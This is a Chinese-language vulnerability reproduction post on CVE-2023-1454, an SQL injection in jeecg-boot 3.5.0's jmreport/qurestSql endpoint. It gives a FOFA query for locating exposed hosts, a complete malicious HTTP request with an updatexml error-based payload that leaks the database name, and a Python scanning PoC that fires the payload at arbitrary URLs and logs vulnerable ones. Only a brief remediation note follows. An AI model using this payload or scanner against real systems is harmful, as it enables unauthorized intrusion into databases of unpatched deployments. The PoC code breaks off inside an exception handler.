一、Jeecg-Boot 简介

eecgBoot是一款基于BPM的低代码平台!前后端分离架构 SpringBoot 2.x,SpringCloud,Ant Design&Vue,Mybatis-plus,Shiro,JWT,支持微服务。强大的代码生成器让前后端代码一键生成,实现低代码开发! JeecgBoot引领新低代码开发模式 OnlineCoding-> 代码生成器-> 手工MERGE, 帮助Java项目解决70%的重复工作,让开发更多关注业务,既能快速提高效率,节省研发成本,同时又不失灵活性!一系列低代码能力:Online表单、Online报表、Online图表、表单设计、流程设计、报表设计、大屏设计 等等

二、漏洞描述

jeecg-boot 3.5.0版本存在SQL注入漏洞,该漏洞源于文件 jmreport/qurestSql 存在安全问题, 通过参数 apiSelectId 导致SQL注入。
CVE-2023-1454
CNNVD-202303-1399

三、影响版本

jeecg-boot 3.5.0版本

四、fofa查询语句

body=“jeecg-boot”

五、漏洞复现

漏洞数据包

POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 127.0.0.1
Content-Type: application/json
Content-Length: 126

{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"}

成功爆出数据库名

六、POC&EXP

if url.endswith("/"):
    path = "jeecg-boot/jmreport/qurestSql"
else:
    path = "/jeecg-boot/jmreport/qurestSql"

if not url.startswith('http://') and not url.startswith('https://'):
    url = 'http://' + url

encodetext = url + path
headers = {
    "User-Agent": "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)",
    "Accept-Encoding": "gzip, deflate",
    "Accept": "*/*",
    "Connection": "close",
    "Content-Type": "application/json"
}
payload = {
    "apiSelectId": "1316997232402231298",
    "id": "1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '"
}

# Convert payload to JSON
json_payload = json.dumps(payload)

try:
    req = requests.post(encodetext, data=json_payload, headers=headers, timeout=5, proxies=self.proxies)
    res = req.text
    if req.status_code == 200 and 'XPATH' in res:
        self.append_to_output(f"[+] {url} 存在Jeecg-Boot前台SQL注入漏洞(CVE-2023-1454)!!!!", "red")
        #self.append_to_output(res, "yellow")
        with open("output.txt", "a") as file:
            file.write(f"[+] {url} 存在Jeecg-Boot前台SQL注入漏洞(CVE-2023-1454)!!!!" + "\n")
            file.write(res + "\n")
    else:
        self.append_to_output(f"[-] {url} 不存在Jeecg-Boot前台SQL注入漏洞(CVE-2023-1454)", "green")
except Timeout:
    self.append_to_output(f"[!] 请求超时,跳过URL: {url}", "yellow")
except Exception as e:

又到了小龙POC梭哈时间
在这里插入图片描述

七、整改意见

目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:
https://github.com/jeecgboot/jeecg-boot

Logo

前往低代码交流专区

更多推荐